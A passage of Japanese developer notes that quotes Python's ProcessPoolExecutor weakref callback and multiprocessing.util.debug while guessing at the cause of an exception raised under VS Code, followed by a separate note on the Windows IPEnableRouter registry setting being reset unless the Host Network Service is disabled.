        self.thread_wakeup = executor._executor_manager_thread_wakeup
        self.shutdown_lock = executor._shutdown_lock

        # A weakref.ref to the ProcessPoolExecutor that owns this thread. Used
        # to determine if the ProcessPoolExecutor has been garbage collected
        # and that the manager can exit.
        # When the executor gets garbage collected, the weakref callback
        # will wake up the queue management thread so that it can terminate
        # if there is no pending work item.
        def weakref_cb(_,
                       thread_wakeup=self.thread_wakeup):
            mp.util.debug('Executor collected: triggering callback for'
                          ' QueueManager wakeup')
            thread_wakeup.wakeup()

        self.executor_reference = weakref.ref(executor, weakref_cb)
        # 以下省略
```

多分ですが、`mp.util.debug()`を呼んでいるので、`multiprocessing`のユーティリティ関数群のデバッグ関数っぽいので、こんな感じではないかと。

- VS Codeから実行したときに何らかの 'debug' という属性か何かがセットされ実行される

- それにより、通常は実行されることのないデバッグ用関数`mp.util.debug()`が実行される。または、インスタンスがある状態で呼びだされるべきものが、ない状態で呼び出される

- 意図しない実行により、結果的に、意図しない例外が発生してしまう

なお、`mp`は、`multiprocessing` の別名のようです。
`multiprocessing.util.debug()` はこんな感じ

```Python: Lib/multiprocessing/util.py
def debug(msg, *args):
    if _logger:
        _logger.log(DEBUG, msg, *args, stacklevel=2)
```

ということは、おそらく、`mp.util` のインスタンスが無いか`None`になっているような状態か？
Windows PC で IP ルーティング が有効にならない

レジストリエディタ regedit にて、
`HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters`
`IPEnableRouter`(DWORD)
値: 1

これですが、サービスの「ホスト ネットワーク サービス」が無効になっていないと、再起動ごとにこの設定が削除されてしまい、IPルーティングを有効にできないらしい。
（そのせいで、`ipconfig /all`の「IP ルーティング有効」が「はい」にならない。）

Win11 24H2 で確認しました。